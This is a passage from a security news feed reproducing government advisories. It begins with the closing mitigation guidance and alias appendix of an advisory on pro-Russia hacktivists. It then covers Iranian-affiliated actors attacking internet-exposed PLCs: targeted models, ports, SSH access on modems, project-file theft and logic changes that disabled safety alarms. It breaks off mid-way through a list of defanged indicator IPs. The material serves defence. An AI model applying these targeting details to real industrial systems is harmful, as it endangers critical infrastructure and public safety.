<p>Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a>.</p>
<ul>
<li><strong>Eliminate default credentials and require strong passwords.</strong> The use of default credentials is a top weakness threat actors exploit to gain access to systems.</li>
<li><strong>Mandate MFA for privileged users.</strong> Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.</li>
<li><strong>Practice secure by default principles. </strong>OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.
<ul>
<li><strong>Include logging at no additional charge.</strong> Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.</li>
</ul>
</li>
<li><strong>Publish Software Bill of Materials (SBOMs).</strong> Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s <a href="https://www.cisa.gov/sbom" title="Software Bill of Materials">SBOM webpage</a> for more information.</li>
</ul>
<p>Additionally, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="Secure by Design Alert">Secure by Design Alert</a> on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&amp;CK techniques described in this advisory.</p>
<p>To start:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to<strong> </strong><a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<p>Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:</p>
<ul>
<li>CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s <a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators">Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</a> offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.</li>
<li>CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on <a href="https://www.cisa.gov/resources-tools/resources/defending-ot-operations-against-ongoing-pro-russia-hacktivist-activity" title="Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity">Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity</a> that can help organizations protect OT systems from pro-Russia hacktivist activity.</li>
<li>NSA and CISA’s guidance on <a href="https://media.defense.gov/2022/Sep/22/2003083007/-1/-1/0/CSA_ICS_Know_the_Opponent_.PDF" target="_blank" title="Control System Defense: Know the Opponent" data-entity-type="external">Control System Defense: Know the Opponent</a> helps organizations defend OT and ICS assets against malicious cyber activity.</li>
<li>CISA and EPA’s resource page on <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a> to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.
<ul>
<li>For additional guidance, see CISA, EPA, and FBI’s fact sheet on <a href="https://www.cisa.gov/resources-tools/resources/top-cyber-actions-securing-water-systems" title="Top Cyber Actions for Securing Water Systems">Top Cyber Actions for Securing Water Systems</a>.</li>
</ul>
</li>
<li>The Food and Ag-ISAC’s best practices on <a href="https://www.idfa.org/wordpress/wp-content/uploads/2023/07/Food-and-Ag-ISAC-Cybersecurity-Guide-2023_IDFA.pdf" target="_blank" title="Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises" data-entity-type="external">Food and Ag Cybersecurity: A Guide for Small &amp; Medium Enterprises</a> provides recommendations to help mitigate against cyber threats.</li>
<li>DOE and National Association of Regulatory Utility Commissioners <a href="https://www.naruc.org/core-sectors/critical-infrastructure-and-cybersecurity/cybersecurity-for-utility-regulators/cybersecurity-baselines/" target="_blank" title="Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)" data-entity-type="external">Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER)</a> webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.</li>
</ul>
<p>Additional resources that apply to this advisory include:</p>
<ul>
<li>EPA’s <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector" data-entity-type="external">Cybersecurity for the Water Sector</a> resource page provides organizations with guidance on implementing basic cyber hygiene practices.</li>
<li>CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals">Cross-Sector Cybersecurity Performance Goals</a> enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.</li>
<li>CISA’s <a href="https://www.cisa.gov/audiences/small-and-medium-businesses/secure-your-business/require-strong-passwords" title="Require Strong Passwords">Require Strong Passwords</a> webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.</li>
<li>CISA, NSA, FBI, EPA, TSA, and international partners’ guidance <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products</a>.</li>
<li>DOE’s guidance on <a href="https://www.energy.gov/ceser/cyber-informed-engineering" target="_blank" title="Cyber-Informed Engineering" data-entity-type="external">Cyber-Informed Engineering</a> recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.</li>
<li>CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.</li>
<li>CISA, NSA, FBI, and international partners’ guidance on <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software">Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software</a> urges software manufacturers to provide customers with products that are safer and more secure.
<ul>
<li>See more information in these Secure by Design Alerts: <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-manufacturers-can-protect-customers-eliminating-default-passwords" title="How Manufacturers Can Protect Customers by Eliminating Default Passwords">How Manufacturers Can Protect Customers by Eliminating Default Passwords</a> and <a href="https://www.cisa.gov/resources-tools/resources/secure-design-alert-how-software-manufacturers-can-shield-web-management-interfaces-malicious-cyber" title="How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity">How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity</a>.</li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p><strong>U.S. organizations</strong> are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:</p>
<ul>
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov" title="contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472) or your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office" data-entity-type="external">FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" target="_blank" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
</ul>
<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure]]></title>
<description><![CDATA[Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-a...]]></description>
<link>https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693379/sicherheitsluecken/iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:12:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Advisory at a Glance</strong></h2>
<table>
<tbody>
<tr>
<th>Title</th>
<td>Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</td>
</tr>
<tr>
<th>Original Publication</th>
<td><strong>April 7, 2026</strong></td>
</tr>
<tr>
<th>Last Update </th>
<td><strong>July 22, 2026</strong></td>
</tr>
<tr>
<th>Executive Summary</th>
<td>The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.</td>
</tr>
<tr>
<th>Last Update Description</th>
<td>This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.</td>
</tr>
<tr>
<th>Affected Products</th>
<td>Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.</td>
</tr>
<tr>
<th>Key Actions</th>
<td>
<ul type="square">
<li>Install PLCs consistent with manufacturers' guidelines and security best practices.</li>
<li>Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.</li>
<li>Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, especially traffic originating from foreign hosting providers.</li>
<li>For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.</li>
</ul>
</td>
</tr>
<tr>
<th>Indicators of Compromise</th>
<td>
<p>For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (July 2026) (29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (July 2026) (30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" title="AA26-097A STIX XML">AA26-097A STIX XML</a> (36 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" title="AA26-097A STIX JSON">AA26-097A STIX JSON</a> (12 KB)<br> </li>
</ul>
</td>
</tr>
<tr>
<th>Intended Audience</th>
<td>
<p><strong>Organizations:</strong> Critical Infrastructure</p>
<p><strong>Sectors: </strong><a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> </p>
<p><strong>Roles: </strong>Integrators, asset owners, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/defensive-cybersecurity" title="Defensive cybersecurity analysts">defensive cybersecurity analysts</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/operational-technology-ot-cybersecurity-engineering" title="OT cybersecurity engineers">OT cybersecurity engineers</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/cybersecurity-architecture" title="cybersecurity architects">cybersecurity architects</a>, <a href="https://niccs.cisa.gov/tools/nice-framework/work-role/secure-systems-development" title="secure systems developer">secure systems developer</a></p>
</td>
</tr>
</tbody>
</table>
<h2><strong>Introduction</strong></h2>
<p><strong>Note:</strong><em> This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by</em> <em>Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.</em></p>
<p>The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files<a href="https://www.cisa.gov/#Note1"><sup>1</sup></a> and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.</p>
<p>The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a> (to include local municipalities), <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a> (WWS), and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors. The authoring agencies previously reported on similar activity targeting PLCs by <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="CyberAv3ngers">CyberAv3ngers</a> (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).</p>
<p>Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the <a href="https://www.cisa.gov/#Mitigations"><strong>Mitigations</strong></a> section of this advisory to reduce the risk of compromise.</p>
<p>If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see <a href="https://www.cisa.gov/#Contact"><strong>Contact Information</strong></a>) to receive support, mitigation, and investigation assistance.</p>
<p>For more information on Iranian malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a> webpage and the FBI’s <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="Iran Threat">Iran Threat</a> and Iran <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Iran Cyber Threat">Cyber Threat Overview</a> webpages.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-07/aa26-097a-iranian-affiliated-cyber-actors-exploit-programmable-logic-controllers-across-us-critical-infrastructure_508c.pdf" class="c-file__link" target="_blank">Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.09 MB
  )</span>
  </div>
</div>
<p><em><strong>(New, July 22, 2026)</strong></em> For a downloadable copy of July 22, 2026<strong> </strong>IOCs, see:</p>
<ul type="square">
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.xml">AA26-097A STIX XML</a> (XML, 29 KB)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-097A.stix_.json">AA26-097A STIX JSON</a> (JSON, 30 KB)</li>
</ul>
<p>For a downloadable copy of historical April 7, 2026 IOCs, see:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.xml" class="c-file__link" target="_blank">AA26-097A.stix_.xml</a>
    <span class="c-file__size">(XML,       35.97 KB
  )</span>
  </div>
</div>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2026-04/AA26-097A.stix_.json" class="c-file__link" target="_blank">AA26-097A.stix_.json</a>
    <span class="c-file__size">(JSON,       11.87 KB
  )</span>
  </div>
</div>
<h2><strong>Background Information</strong></h2>
<h3><strong>Similar Historical Activity Targeting Programmable Logic Controllers</strong></h3>
<p>During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.</p>
<p>For more information on this group’s activity, see the joint Cybersecurity Advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>.</p>
<h3><strong>Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers</strong></h3>
<p>The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.</p>
<p><em><strong>(New, July 22, 2026) </strong></em>At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.</p>
<p>Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/government-services-facilities-sector" title="Government Services and Facilities">Government Services and Facilities</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">WWS</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy">Energy</a> Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank" title="MITRE ATTACK Matrix for Enterprise">MITRE ATT&amp;CK<sup>®</sup> Matrix for Enterprise</a> framework, version 19. See the <a href="https://www.cisa.gov/#MITRE"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>Initial Access</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [<a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0883">T0883</a>]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: <code>44818</code>, <code>2222</code>, <code>102</code>, and <code>502</code>, as well as targeting modems on port <code>22</code>. Targeted devices include:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> CompactLogix and Micro850 PLCs</li>
<li><strong>Schneider Electric:</strong> BMX P34/Modicon M340 PLCs</li>
<li><strong>Siemens:</strong> S7-1200 series PLCs</li>
</ul>
<h3><strong>Command and Control</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> The targeting of ports [<a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a>] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port <code>22</code> [<a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a>].</p>
<h3><strong>Exfiltration</strong></h3>
<p><em><strong>(New, July 22, 2026) </strong></em>The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [<a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a>].</p>
<h3><strong>Impact</strong></h3>
<p><em><strong>(Updated, July 22, 2026)</strong></em> After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [<a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a>]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.</p>
<p><strong>Note:</strong> An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.</p>
<h2><strong>Indicators of Compromise</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#Table2"><strong>Table 2</strong></a> for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.</p>
<p><strong>Disclaimer:</strong> The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 1. Indicators of Compromise <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Indicator</th>
<th role="columnheader">Beginning of Actor Association</th>
<th role="columnheader">End of Actor Association</th>
</tr>
</thead>
<tbody>
<tr>
<td>185.82.73[.]175</td>
<td>September 2025</td>
<td>February 2026</td>
</tr>
<tr>
<td>141.11.164[.]153</td>
<td>January 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>175.110.121[.]42</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]39</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]41</td>
<td>February 2026</td>
<td>March 2026</td>
</tr>
<tr>
<td>175.110.121[.]107</td>
<td>February 2026</td>
<td>February 2026</td>
</tr>
<tr>
<td>192.142.54[.]79</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>84.200.205[.]165</td>
<td>May 2026</td>
<td>June 2026</td>
</tr>
<tr>
<td>185.225.17[.]225</td>
<td>June 2026</td>
<td>July 2026</td>
</tr>
<tr>
